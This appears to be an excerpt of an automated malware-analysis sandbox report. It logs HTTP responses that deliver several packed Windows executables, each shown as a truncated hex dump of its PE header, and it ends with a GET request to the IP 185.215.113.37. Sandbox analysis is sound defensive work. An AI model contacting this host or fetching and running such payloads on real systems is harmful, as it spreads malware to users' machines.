Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 17 Oct 2024 16:38:40 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Thu, 17 Oct 2024 16:26:16 GMTETag: "1c8800-624aea55376ab"Accept-Ranges: bytesContent-Length: 1869824Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 b0 6a 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 e0 6a 00 00 04 00 00 ce c2 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 90 2a 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 78 6d 65 73 68 6f 61 00 30 1a 00 00 70 50 00 00 24 1a 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 64 63 64 6a 72 79 71 00 10 00 00 00 a0 6a 00 00 06 00 00 00 60 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 b0 6a 00 00 22 00 00 00 66 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 17 Oct 2024 16:38:50 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Thu, 17 Oct 2024 16:26:23 GMTETag: "1cd000-624aea5b52e27"Accept-Ranges: bytesContent-Length: 1888256Keep-Alive: timeout=5, max=99Connection: Keep-AliveContent-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 f0 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 4b 00 00 04 00 00 7c c8 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 dc d5 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8c d5 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 2a 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 6f 69 77 72 63 76 61 00 c0 19 00 00 20 31 00 00 b6 19 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 74 74 67 6c 72 6d 6d 00 10 00 00 00 e0 4a 00 00 04 00 00 00 aa 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 4a 00 00 22 00 00 00 ae 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 17 Oct 2024 16:38:54 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Thu, 17 Oct 2024 15:31:47 GMTETag: "e0800-624ade2793707"Accept-Ranges: bytesContent-Length: 919552Keep-Alive: timeout=5, max=98Connection: Keep-AliveContent-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 db 2d 11 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0e 00 00 04 00 00 a6 8c 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 28 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 28 9c 00 00 00 40 0d 00 00 9e 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 e0 0d 00 00 76 00 00 00 92 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 17 Oct 2024 16:40:08 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Thu, 17 Oct 2024 16:26:11 GMTETag: "2cf800-624aea4fdd4ea"Accept-Ranges: bytesContent-Length: 2947072Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 4a f1 ff 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 a0 04 00 00 dc 00 00 00 00 00 00 00 80 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 30 00 00 04 00 00 4b 61 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 f0 05 00 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 f1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 d0 05 00 00 10 00 00 00 5e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 e0 05 00 00 00 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 f0 05 00 00 02 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 71 74 61 67 72 72 6b 64 00 70 2a 00 00 00 06 00 00 62 2a 00 00 70 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 78 65 6b 64 65 6d 77 00 10 00 00 00 70 30 00 00 04 00 00 00 d2 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 30 00 00 22 00 00 00 d6 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 17 Oct 2024 16:40:08 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Thu, 17 Oct 2024 16:26:11 GMTETag: "2cf800-624aea4fdd4ea"Accept-Ranges: bytesContent-Length: 2947072Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 4a f1 ff 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 a0 04 00 00 dc 00 00 00 00 00 00 00 80 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 30 00 00 04 00 00 4b 61 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 f0 05 00 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 f1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 d0 05 00 00 10 00 00 00 5e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 e0 05 00 00 00 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 f0 05 00 00 02 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 71 74 61 67 72 72 6b 64 00 70 2a 00 00 00 06 00 00 62 2a 00 00 70 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 78 65 6b 64 65 6d 77 00 10 00 00 00 70 30 00 00 04 00 00 00 d2 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 30 00 00 22 00 00 00 d6 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 17 Oct 2024 16:40:08 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Thu, 17 Oct 2024 16:26:11 GMTETag: "2cf800-624aea4fdd4ea"Accept-Ranges: bytesContent-Length: 2947072Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 4a f1 ff 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 a0 04 00 00 dc 00 00 00 00 00 00 00 80 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 30 00 00 04 00 00 4b 61 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 f0 05 00 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 f1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 d0 05 00 00 10 00 00 00 5e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 e0 05 00 00 00 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 f0 05 00 00 02 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 71 74 61 67 72 72 6b 64 00 70 2a 00 00 00 06 00 00 62 2a 00 00 70 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 78 65 6b 64 65 6d 77 00 10 00 00 00 70 30 00 00 04 00 00 00 d2 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 30 00 00 22 00 00 00 d6 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 17 Oct 2024 16:40:19 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Thu, 17 Oct 2024 16:26:16 GMTETag: "1c8800-624aea55376ab"Accept-Ranges: bytesContent-Length: 1869824Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 b0 6a 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 e0 6a 00 00 04 00 00 ce c2 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 90 2a 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 78 6d 65 73 68 6f 61 00 30 1a 00 00 70 50 00 00 24 1a 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 64 63 64 6a 72 79 71 00 10 00 00 00 a0 6a 00 00 06 00 00 00 60 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 b0 6a 00 00 22 00 00 00 66 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
